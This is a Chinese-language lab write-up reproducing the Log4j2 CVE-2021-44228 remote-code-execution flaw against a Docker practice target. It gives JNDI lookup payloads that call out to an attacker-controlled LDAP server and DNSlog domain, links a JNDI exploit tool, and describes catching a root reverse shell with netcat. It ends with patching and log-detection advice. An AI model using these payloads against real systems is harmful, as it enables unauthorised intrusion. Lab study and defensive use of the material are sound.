声明#

1. 本文仅为个人技术学习实验记录，工具使用需严格遵守当地法律法规，请勿用于任何未授权的网络活动，违规使用后果自负。
2. JNDI工具下载地址为’https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2’

漏洞介绍#

1. Log4j漏洞（CVE-2021-44228）是Java日志框架Log4j2中的远程代码执行（RCE）漏洞，影响范围2.0至2.14.1版本。攻击者可通过构造特定输入触发JNDI注入，最终在目标服务器上执行任意代码。
2. JNDI是Java提供的一个统一资源访问接口，允许应用程序通过名称动态加载远程对象。JNDI注入是一种安全漏洞，当攻击者能控制 lookup() 方法的参数时，可以将恶意 URL 传入，触发目标系统加载远程恶意类，最终实现远程代码执行，log4j是JNDI注入的一个典例。
3. CVE-2021-44228原理： Log4j2支持${}占位符解析，其中JNDI Lookup功能允许通过ldap://、rmi://等协议访问远程资源。攻击者在可被记录到日志的字段（如HTTP头、参数、用户名）中注入payload：通过构造${jndi:ldap://恶意服务器/Exploit}，在Log4j解析日志时触发JndiLookup.lookup()，向攻击者控制的LDAP/RMI服务器发起请求，恶意服务器返回包含恶意字节码的Reference对象，目标服务器加载并执行该字节码，实现RCE。

验证过程#

1. sudo docker pull vulfocus/log4j2-rce-2021-12-09拉取容器。
2. sudo docker run -d -p 8080:8080 --name log4j2-rce vulfocus/log4j2-rce-2021-12-09启动容器。
3. sudo docker ps -a确保启动成功。
4. 通过浏览器打开虚拟机的8080端口证明log4j的docker靶场部署成功，点击???在上方url中发现payload测试处。
5. poc测试： 按照${jndi:ldap://url}格式，将语句中的url替换拼接成通过’https://dnslog.org/‘生成的域名，进行url编码。
6. 拼接url到payload处访问，在dnslog网站点击get results获得dns查询记录信息。
7. 对${jndi:ldap://${sys:java.version}.url}进行url编码，再拼接payload执行，如图获得版本信息，漏洞验证完成。

利用过程#

1. 接下来通过exp检测，在搭建的恶意服务器上通过下载github上的jndi工具（文章开头有链接），解压缩后执行java -jar 文件名 -i 此服务器地址，其将8080端口开放一个HTTP服务，1389端口开放LDAP服务。（参数-u 查看用法，-h查看帮助）
2. 将该服务器或者自己的另一台机器（我这里仍然用的服务器）使用netcat打开8888端口监听，用于后续接收反弹shell。
3. 使用base64编码构造exp。
4. 编码结果再进行url编码。
5. 拼接如图链接获得完整payload，再进行url编码，填入网页payload访问。
6. 打开监听机器，已经拿下目标机器root权限。

其它补充与收获总结#

1. 服务器上的LDAP服务作用是什么？

• Log4j2的漏洞触发依赖JNDI注入，JNDI支持LDAP/RMI/DNS等协议，该服务器接收目标机器的JNDI请求，目标机器解析${jndi:ldap://攻击者IP:端口/xxx}payload 时，会主动向攻击者的LDAP服务器发起连接请求；
• 由于LDAP服务器不会存储恶意类，需要向目标机器返回一个攻击者搭建的HTTP服务器地址，引导目标机器从该地址下载并执行恶意类，此JNDI注入工具正是集成了LDAP,HTTP环境，降低了JNDI注入的复杂度。

2. 为什么复现中优先用LDAP而非 RMI？

• RMI 协议在 Java 8u121+版本中默认禁止加载远程类，而 LDAP 协议无此严格限制。
• 防护绕过：部分目标系统会拦截RMI请求，但对LDAP的拦截概率更低（LDAP 是企业常用协议，易被误认为合法流量）。

3. 修复和防护建议：

• 版本升级：将版本升级至 Log4j2 2.17.1+。
• 防火墙：拦截出站的 LDAP/RMI 请求（阻止靶机访问恶意 LDAP 服务器）。
• 日志监控：检查日志中是否包含${jndi:/ldap://等特征字符串。